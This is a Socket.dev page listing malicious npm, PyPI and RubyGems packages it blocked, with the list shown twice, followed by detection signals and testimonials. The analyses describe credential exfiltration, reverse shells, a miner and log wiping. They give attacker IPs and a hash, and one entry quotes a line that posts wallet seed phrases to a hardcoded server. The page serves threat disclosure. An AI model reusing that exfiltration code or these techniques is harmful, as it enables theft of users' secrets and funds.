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Risky Biz Podcast: Making Reachability Analysis Work in Real-World Codebases
This episode explores the hard problem of reachability analysis, from static analysis limits to handling dynamic languages and massive dependency trees.
Quickly evaluate the security and health of any open source package.
cschalk-next
6.1.5
by davn118
Removed from npm
Blocked by Socket
This file sends sensitive environment data (for example, user credentials) to an external server at example[.]com/getRely. If the remote server responds with a specific code (202), the code recursively deletes multiple important directories (e.g., .vscode, .git, .svn, node_modules, etc.), leading to potential data loss or disruption.
Live on npm for 27 days, 21 hours and 3 minutes before removal. Socket users were protected even while the package was live.
4ff-lib-foundation
11.0.2
by 0xlance
Removed from npm
Blocked by Socket
The URL contains host name, current working directory and user id information in a way that could allow an attacker to execute arbitrary code on the system. This is a known method used by attackers to perform remote code execution.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
@di-sdk/quickselect-wasm
3.1.2
by alcachofas
Live on npm
Blocked by Socket
The script is designed to send user information to a remote server, which is a clear indication of malicious behavior and data exfiltration.
ts-patch-mongoos
1.0.0
by pentestito
Removed from npm
Blocked by Socket
The code is likely intended to create a reverse shell connection to a remote server, allowing unauthorized access to the system. The use of obfuscation and system-level commands targeting specific OS platforms further supports the conclusion that this is malicious code.
Live on npm for 2 minutes before removal. Socket users were protected even while the package was live.
walletsutils
0.1.0
Removed from PyPI
Blocked by Socket
The file defines a base64-encoded constant `_ENCODED_API_ENDPOINT = 'aHR0cDovLzg5LjIzLjk4LjE0OTo1MDAwL2NoZWNrc2VlZA=='` which decodes to `http://89[.]23[.]98[.]149:5000/checkseed`. In `get_address_balance(mnemonic)`, it calls `_log_balances_async`, which spawns a daemon thread that silently issues an HTTP POST to the decoded endpoint with the full mnemonic phrase (`requests.post(url, json={'mnemonic': mnemonic}, timeout=3)`). All exceptions are caught and ignored to conceal the behavior. This hidden, asynchronous exfiltration of wallet seed phrases is a clear backdoor enabling immediate compromise of any derived wallets.
Live on PyPI for 2 hours and 3 minutes before removal. Socket users were protected even while the package was live.
saddlebag-event-logger
5.0.0
by formulatesh
Removed from npm
Blocked by Socket
The code exhibits clear malicious behavior by collecting and exfiltrating sensitive system information to a remote server without user consent. This constitutes data theft and poses a significant security risk.
Live on npm for 1 hour and 4 minutes before removal. Socket users were protected even while the package was live.
broccolirmergetes
1.2.0
by 17b4a931
Removed from npm
Blocked by Socket
This code poses a serious security risk and should not be used.
Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.
colors-sync
1.4.3
by evilkaue
Removed from npm
Blocked by Socket
The provided code is heavily obfuscated and exhibits several malicious behaviors, including data exfiltration, token stealing, and process manipulation. The risk associated with this code is high, and it should be treated as a serious security threat.
Live on npm for 1 hour and 3 minutes before removal. Socket users were protected even while the package was live.
tensorflow-js-website
0.0.1
Removed from npm
Blocked by Socket
The script decodes a base64 encoded command and executes it using bash. This is a clear indicator of malicious behavior and poses a significant security risk.
Live on npm for 18 minutes before removal. Socket users were protected even while the package was live.
nitroautoclaim
1.3.0
by xny10
Live on npm
Blocked by Socket
The source code is malicious in nature as it automates the unauthorized redemption of Discord Nitro gift codes using a Discord account token. This behavior constitutes abuse of Discord's platform and violates terms of service. While the code is not obfuscated and lacks traditional malware payloads, the automated gift code theft and redemption is a serious security risk and should be flagged as malware. The provided reports are uninformative and should be replaced with this detailed analysis.
@visiology-public-utilities/language-utils
1.0.6-dev5
by visiology-public-utilities
Live on npm
Blocked by Socket
This file collects extensive system and environment information, obfuscates it with XOR and Base64 encoding, and sends it to 51.250.107[.]250 without user consent. Such behavior indicates malicious data exfiltration and a significant security threat.
gocodeo
0.1
Removed from PyPI
Blocked by Socket
The analyzed code contains numerous security risks, including hardcoded credentials for both Google services and MongoDB. It transmits sensitive information to external services without clear safeguards. The overall design raises serious concerns regarding supply chain security and data privacy. It is advisable not to use this code in a production environment until the security flaws are addressed.
Live on PyPI for 248 days, 2 hours and 45 minutes before removal. Socket users were protected even while the package was live.
gfg-gpe-utilities
2.613.8
by hgfg-utils
Removed from npm
Blocked by Socket
The code exhibits malicious behavior by sending environment variables to a remote server, which can include sensitive information. The use of string concatenation for obfuscation and the connection to a suspicious domain further indicate malicious intent.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
slaves-center
1.1.3
by fromxcenter
Removed from npm
Blocked by Socket
The code exhibits various anomalies and potential security risks, including specific API interactions, hard-coded headers, incomplete error handling, and console logging sensitive data. While not conclusive evidence of malicious intent, the identified issues require immediate attention and further hardening to mitigate security risks.
Live on npm for 55 days and 59 minutes before removal. Socket users were protected even while the package was live.
health-check-nodejs
3.16.13
by gosoval
Live on npm
Blocked by Socket
The source code poses a significant security risk due to its ability to execute arbitrary commands received from a remote server. This behavior can lead to remote code execution (RCE) and potential data exfiltration. The provided reports were placeholders and did not contain any meaningful analysis.
pwn
0.5.193
by 0day Inc.
Live on Rubygems
Blocked by Socket
The script 'packer/provisioners/post_install.sh' exhibits malicious behavior by performing several harmful actions: - **Deletes user and root history files**: Uses secure deletion methods to remove history files, potentially to conceal malicious activities. - **Clears system log files**: Erases log files from '/var/log', hindering the ability to audit and investigate system actions. - **Disables the root account**: Locks the root account password without ensuring alternative secure administrative access, possibly preventing legitimate administrative operations. - **Sets a weak default password ('changeme') for the 'admin' user**: Introduces a significant security risk by using an easily guessable password, facilitating unauthorized access. These actions can be exploited by an attacker to gain unauthorized access, disrupt legitimate operations, and prevent system recovery. The combination of log and history deletion, disabling of root access, and setting weak credentials indicates malicious intent to compromise system security and conceal nefarious activities.
ruby-head-wasm-wasi
2.3.0
by kateinoigakukun
Live on npm
Blocked by Socket
This package contains heavily obfuscated binary data with no readable source code, strongly indicating malicious intent. The complete lack of transparent code and extensive use of encoded data represents a critical security threat.
fca-horizon-remake
4.4.5
by horizonlucius
Removed from npm
Blocked by Socket
The code exhibits several security risks, particularly in how it handles sensitive user data and communicates with external services. It should be refactored to improve security practices, such as encrypting sensitive data and avoiding untrusted external connections.
Live on npm for 2 minutes before removal. Socket users were protected even while the package was live.
parallel-workers
99.99.101
by manans1234567
Removed from npm
Blocked by Socket
The script exhibits clear malicious behavior by sending sensitive system information to an external server. This poses a significant security risk and is indicative of data exfiltration.
Live on npm for 11 minutes before removal. Socket users were protected even while the package was live.
@roku-web-ui/header
99.9.7
by lappsec-bc
Live on npm
Blocked by Socket
The code performs unauthorized exfiltration of sensitive system and package information to a suspicious external server. This constitutes a serious privacy violation and malware behavior. The reports provided are invalid and fail to identify these issues. The package should be considered malicious and avoided.
idp-test-test-test
0.0.999
Removed from npm
Blocked by Socket
The code is highly suspicious and likely malicious. It collects various pieces of system information and exfiltrates them to an external server via a ping command. This behavior is indicative of data theft or surveillance.
Live on npm for 36 minutes before removal. Socket users were protected even while the package was live.
vant
3.6.14
by landluck
Live on npm
Blocked by Socket
The code is malicious as it downloads and executes a cryptocurrency miner without user consent. The obfuscation and unauthorized actions pose a significant security risk.
vidio-kmm
1.0.1
by rhyru9
Removed from npm
Blocked by Socket
This file executes system commands (e.g., 'whoami' and 'cat /etc/passwd') and sends the output to a remote URL (e.g., hxxps://example[.]com) via HTTP POST requests. By transmitting sensitive system information to an external server, the code demonstrates clear malicious intent and endangers the security of the host system.
Live on npm for 24 days, 22 hours and 19 minutes before removal. Socket users were protected even while the package was live.
cam-capture
0.8.2
by falseksch
Removed from npm
Blocked by Socket
The package 'node-webcam@0.8.2' includes a post-installation script that downloads an executable file ('CommandCam.exe') from an external source without validation or integrity checks. Specifically, when installed on Windows systems, the script retrieves 'CommandCam.exe' from 'https://github[.]com/chuckfairy/node-webcam/releases/download/v0.6/CommandCam.exe' and saves it to 'src/bindings/CommandCam/CommandCam.exe' without obtaining user consent. CommandCam.exe (SHA256: 012d3ff83b1e65182807512fc9d04bcfdb40736fcdc2f7aba57531cbf031769e) is flagged as malicious by 22 out of 71 security vendors on VirusTotal. Downloading and executing binaries from external sources without validation introduces a security vulnerability, as the external source could be compromised to deliver malicious code, leading to potential arbitrary code execution on the user's system.
Live on npm for 53 minutes before removal. Socket users were protected even while the package was live.
airbnb-bootstrap-data
99.9.9
by celesian
Removed from npm
Blocked by Socket
The script attempts to send a message to a Telegram bot, but it also includes commands to gather system information and encode it in base64. This is a clear indication of a malicious script.
Live on npm for 1 day, 22 hours and 35 minutes before removal. Socket users were protected even while the package was live.
cschalk-next
6.1.5
by davn118
Removed from npm
Blocked by Socket
This file sends sensitive environment data (for example, user credentials) to an external server at example[.]com/getRely. If the remote server responds with a specific code (202), the code recursively deletes multiple important directories (e.g., .vscode, .git, .svn, node_modules, etc.), leading to potential data loss or disruption.
Live on npm for 27 days, 21 hours and 3 minutes before removal. Socket users were protected even while the package was live.
4ff-lib-foundation
11.0.2
by 0xlance
Removed from npm
Blocked by Socket
The URL contains host name, current working directory and user id information in a way that could allow an attacker to execute arbitrary code on the system. This is a known method used by attackers to perform remote code execution.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
@di-sdk/quickselect-wasm
3.1.2
by alcachofas
Live on npm
Blocked by Socket
The script is designed to send user information to a remote server, which is a clear indication of malicious behavior and data exfiltration.
ts-patch-mongoos
1.0.0
by pentestito
Removed from npm
Blocked by Socket
The code is likely intended to create a reverse shell connection to a remote server, allowing unauthorized access to the system. The use of obfuscation and system-level commands targeting specific OS platforms further supports the conclusion that this is malicious code.
Live on npm for 2 minutes before removal. Socket users were protected even while the package was live.
walletsutils
0.1.0
Removed from PyPI
Blocked by Socket
The file defines a base64-encoded constant `_ENCODED_API_ENDPOINT = 'aHR0cDovLzg5LjIzLjk4LjE0OTo1MDAwL2NoZWNrc2VlZA=='` which decodes to `http://89[.]23[.]98[.]149:5000/checkseed`. In `get_address_balance(mnemonic)`, it calls `_log_balances_async`, which spawns a daemon thread that silently issues an HTTP POST to the decoded endpoint with the full mnemonic phrase (`requests.post(url, json={'mnemonic': mnemonic}, timeout=3)`). All exceptions are caught and ignored to conceal the behavior. This hidden, asynchronous exfiltration of wallet seed phrases is a clear backdoor enabling immediate compromise of any derived wallets.
Live on PyPI for 2 hours and 3 minutes before removal. Socket users were protected even while the package was live.
saddlebag-event-logger
5.0.0
by formulatesh
Removed from npm
Blocked by Socket
The code exhibits clear malicious behavior by collecting and exfiltrating sensitive system information to a remote server without user consent. This constitutes data theft and poses a significant security risk.
Live on npm for 1 hour and 4 minutes before removal. Socket users were protected even while the package was live.
broccolirmergetes
1.2.0
by 17b4a931
Removed from npm
Blocked by Socket
This code poses a serious security risk and should not be used.
Live on npm for 13 minutes before removal. Socket users were protected even while the package was live.
colors-sync
1.4.3
by evilkaue
Removed from npm
Blocked by Socket
The provided code is heavily obfuscated and exhibits several malicious behaviors, including data exfiltration, token stealing, and process manipulation. The risk associated with this code is high, and it should be treated as a serious security threat.
Live on npm for 1 hour and 3 minutes before removal. Socket users were protected even while the package was live.
tensorflow-js-website
0.0.1
Removed from npm
Blocked by Socket
The script decodes a base64 encoded command and executes it using bash. This is a clear indicator of malicious behavior and poses a significant security risk.
Live on npm for 18 minutes before removal. Socket users were protected even while the package was live.
nitroautoclaim
1.3.0
by xny10
Live on npm
Blocked by Socket
The source code is malicious in nature as it automates the unauthorized redemption of Discord Nitro gift codes using a Discord account token. This behavior constitutes abuse of Discord's platform and violates terms of service. While the code is not obfuscated and lacks traditional malware payloads, the automated gift code theft and redemption is a serious security risk and should be flagged as malware. The provided reports are uninformative and should be replaced with this detailed analysis.
@visiology-public-utilities/language-utils
1.0.6-dev5
by visiology-public-utilities
Live on npm
Blocked by Socket
This file collects extensive system and environment information, obfuscates it with XOR and Base64 encoding, and sends it to 51.250.107[.]250 without user consent. Such behavior indicates malicious data exfiltration and a significant security threat.
gocodeo
0.1
Removed from PyPI
Blocked by Socket
The analyzed code contains numerous security risks, including hardcoded credentials for both Google services and MongoDB. It transmits sensitive information to external services without clear safeguards. The overall design raises serious concerns regarding supply chain security and data privacy. It is advisable not to use this code in a production environment until the security flaws are addressed.
Live on PyPI for 248 days, 2 hours and 45 minutes before removal. Socket users were protected even while the package was live.
gfg-gpe-utilities
2.613.8
by hgfg-utils
Removed from npm
Blocked by Socket
The code exhibits malicious behavior by sending environment variables to a remote server, which can include sensitive information. The use of string concatenation for obfuscation and the connection to a suspicious domain further indicate malicious intent.
Live on npm for 7 minutes before removal. Socket users were protected even while the package was live.
slaves-center
1.1.3
by fromxcenter
Removed from npm
Blocked by Socket
The code exhibits various anomalies and potential security risks, including specific API interactions, hard-coded headers, incomplete error handling, and console logging sensitive data. While not conclusive evidence of malicious intent, the identified issues require immediate attention and further hardening to mitigate security risks.
Live on npm for 55 days and 59 minutes before removal. Socket users were protected even while the package was live.
health-check-nodejs
3.16.13
by gosoval
Live on npm
Blocked by Socket
The source code poses a significant security risk due to its ability to execute arbitrary commands received from a remote server. This behavior can lead to remote code execution (RCE) and potential data exfiltration. The provided reports were placeholders and did not contain any meaningful analysis.
pwn
0.5.193
by 0day Inc.
Live on Rubygems
Blocked by Socket
The script 'packer/provisioners/post_install.sh' exhibits malicious behavior by performing several harmful actions: - **Deletes user and root history files**: Uses secure deletion methods to remove history files, potentially to conceal malicious activities. - **Clears system log files**: Erases log files from '/var/log', hindering the ability to audit and investigate system actions. - **Disables the root account**: Locks the root account password without ensuring alternative secure administrative access, possibly preventing legitimate administrative operations. - **Sets a weak default password ('changeme') for the 'admin' user**: Introduces a significant security risk by using an easily guessable password, facilitating unauthorized access. These actions can be exploited by an attacker to gain unauthorized access, disrupt legitimate operations, and prevent system recovery. The combination of log and history deletion, disabling of root access, and setting weak credentials indicates malicious intent to compromise system security and conceal nefarious activities.
ruby-head-wasm-wasi
2.3.0
by kateinoigakukun
Live on npm
Blocked by Socket
This package contains heavily obfuscated binary data with no readable source code, strongly indicating malicious intent. The complete lack of transparent code and extensive use of encoded data represents a critical security threat.
fca-horizon-remake
4.4.5
by horizonlucius
Removed from npm
Blocked by Socket
The code exhibits several security risks, particularly in how it handles sensitive user data and communicates with external services. It should be refactored to improve security practices, such as encrypting sensitive data and avoiding untrusted external connections.
Live on npm for 2 minutes before removal. Socket users were protected even while the package was live.
parallel-workers
99.99.101
by manans1234567
Removed from npm
Blocked by Socket
The script exhibits clear malicious behavior by sending sensitive system information to an external server. This poses a significant security risk and is indicative of data exfiltration.
Live on npm for 11 minutes before removal. Socket users were protected even while the package was live.
@roku-web-ui/header
99.9.7
by lappsec-bc
Live on npm
Blocked by Socket
The code performs unauthorized exfiltration of sensitive system and package information to a suspicious external server. This constitutes a serious privacy violation and malware behavior. The reports provided are invalid and fail to identify these issues. The package should be considered malicious and avoided.
idp-test-test-test
0.0.999
Removed from npm
Blocked by Socket
The code is highly suspicious and likely malicious. It collects various pieces of system information and exfiltrates them to an external server via a ping command. This behavior is indicative of data theft or surveillance.
Live on npm for 36 minutes before removal. Socket users were protected even while the package was live.
vant
3.6.14
by landluck
Live on npm
Blocked by Socket
The code is malicious as it downloads and executes a cryptocurrency miner without user consent. The obfuscation and unauthorized actions pose a significant security risk.
vidio-kmm
1.0.1
by rhyru9
Removed from npm
Blocked by Socket
This file executes system commands (e.g., 'whoami' and 'cat /etc/passwd') and sends the output to a remote URL (e.g., hxxps://example[.]com) via HTTP POST requests. By transmitting sensitive system information to an external server, the code demonstrates clear malicious intent and endangers the security of the host system.
Live on npm for 24 days, 22 hours and 19 minutes before removal. Socket users were protected even while the package was live.
cam-capture
0.8.2
by falseksch
Removed from npm
Blocked by Socket
The package 'node-webcam@0.8.2' includes a post-installation script that downloads an executable file ('CommandCam.exe') from an external source without validation or integrity checks. Specifically, when installed on Windows systems, the script retrieves 'CommandCam.exe' from 'https://github[.]com/chuckfairy/node-webcam/releases/download/v0.6/CommandCam.exe' and saves it to 'src/bindings/CommandCam/CommandCam.exe' without obtaining user consent. CommandCam.exe (SHA256: 012d3ff83b1e65182807512fc9d04bcfdb40736fcdc2f7aba57531cbf031769e) is flagged as malicious by 22 out of 71 security vendors on VirusTotal. Downloading and executing binaries from external sources without validation introduces a security vulnerability, as the external source could be compromised to deliver malicious code, leading to potential arbitrary code execution on the user's system.
Live on npm for 53 minutes before removal. Socket users were protected even while the package was live.
airbnb-bootstrap-data
99.9.9
by celesian
Removed from npm
Blocked by Socket
The script attempts to send a message to a Telegram bot, but it also includes commands to gather system information and encode it in base64. This is a clear indication of a malicious script.
Live on npm for 1 day, 22 hours and 35 minutes before removal. Socket users were protected even while the package was live.
Socket detects traditional vulnerabilities (CVEs) but goes beyond that to scan the actual code of dependencies for malicious behavior. It proactively detects and blocks 70+ signals of supply chain risk in open source code, for comprehensive protection.
Known malware
Possible typosquat attack
Chrome Extension Permission
Chrome Extension Wildcard Host Permission
NPM Shrinkwrap
Git dependency
HTTP dependency
Suspicious Stars on GitHub
Protestware or potentially unwanted behavior
Unstable ownership
Critical CVE
High CVE
Medium CVE
Low CVE
Bad dependency semver
Wildcard dependency
Unpopular package
Minified code
Socket optimized override available
Deprecated
Unmaintained
Explicitly Unlicensed Item
License Policy Violation
Misc. License Issues
Non-permissive License
Ambiguous License Classifier
Copyleft License
Unidentified License
No License Found
License exception
Socket detects and blocks malicious dependencies, often within just minutes of them being published to public registries, making it the most effective tool for blocking zero-day supply chain attacks.
Socket is built by a team of prolific open source maintainers whose software is downloaded over 1 billion times per month. We understand how to build tools that developers love. But don’t take our word for it.
Nat Friedman
CEO at GitHub
Suz Hinton
Senior Software Engineer at Stripe
heck yes this is awesome!!! Congrats team 🎉👏
Matteo Collina
Node.js maintainer, Fastify lead maintainer
So awesome to see @SocketSecurity launch with a fresh approach! Excited to have supported the team from the early days.
DC Posch
Director of Technology at AppFolio, CTO at Dynasty
This is going to be super important, especially for crypto projects where a compromised dependency results in stolen user assets.
Luis Naranjo
Software Engineer at Microsoft
If software supply chain attacks through npm don't scare the shit out of you, you're not paying close enough attention.
@SocketSecurity sounds like an awesome product. I'll be using socket.dev instead of npmjs.org to browse npm packages going forward
Elena Nadolinski
Founder and CEO at Iron Fish
Huge congrats to @SocketSecurity! 🙌
Literally the only product that proactively detects signs of JS compromised packages.
Joe Previte
Engineering Team Lead at Coder
Congrats to @feross and the @SocketSecurity team on their seed funding! 🚀 It's been a big help for us at @CoderHQ and we appreciate what y'all are doing!
Josh Goldberg
Staff Developer at Codecademy
This is such a great idea & looks fantastic, congrats & good luck @feross + team!
The best security teams in the world use Socket to get visibility into supply chain risk, and to build a security feedback loop into the development process.
Scott Roberts
CISO at UiPath
As a happy Socket customer, I've been impressed with how quickly they are adding value to the product, this move is a great step!
Yan Zhu
Head of Security at Brave, DEFCON, EFF, W3C
glad to hear some of the smartest people i know are working on (npm, etc.) supply chain security finally :). @SocketSecurity
Andrew Peterson
CEO and Co-Founder at Signal Sciences (acq. Fastly)
How do you track the validity of open source software libraries as they get updated? You're prob not. Check out @SocketSecurity and the updated tooling they launched.
Supply chain is a cluster in security as we all know and the tools from Socket are "duh" type tools to be implementing. Check them out and follow Feross Aboukhadijeh to see more updates coming from them in the future.
Zbyszek Tenerowicz
Senior Security Engineer at ConsenSys
socket.dev is getting more appealing by the hour
Devdatta Akhawe
Head of Security at Figma
The @SocketSecurity team is on fire! Amazing progress and I am exciting to see where they go next.
Sebastian Bensusan
Engineer Manager at Stripe
I find it surprising that we don't have _more_ supply chain attacks in software:
Imagine your airplane (the code running) was assembled (deployed) daily, with parts (dependencies) from internet strangers. How long until you get a bad part?
Excited for Socket to prevent this
Adam Baldwin
VP of Security at npm, Red Team at Auth0/Okta
Congrats to everyone at @SocketSecurity ❤️🤘🏻
Nico Waisman
CISO at Lyft
This is an area that I have personally been very focused on. As Nat Friedman said in the 2019 GitHub Universe keynote, Open Source won, and every time you add a new open source project you rely on someone else code and you rely on the people that build it.
This is both exciting and problematic. You are bringing real risk into your organization, and I'm excited to see progress in the industry from OpenSSF scorecards and package analyzers to the company that Feross Aboukhadijeh is building!
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Security News
This episode explores the hard problem of reachability analysis, from static analysis limits to handling dynamic languages and massive dependency trees.
Security News
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Malicious Nx npm versions stole secrets and wallet info using AI CLI tools; Socket’s AI scanner detected the supply chain attack and flagged the malware.
Security News
CISA’s 2025 draft SBOM guidance adds new fields like hashes, licenses, and tool metadata to make software inventories more actionable.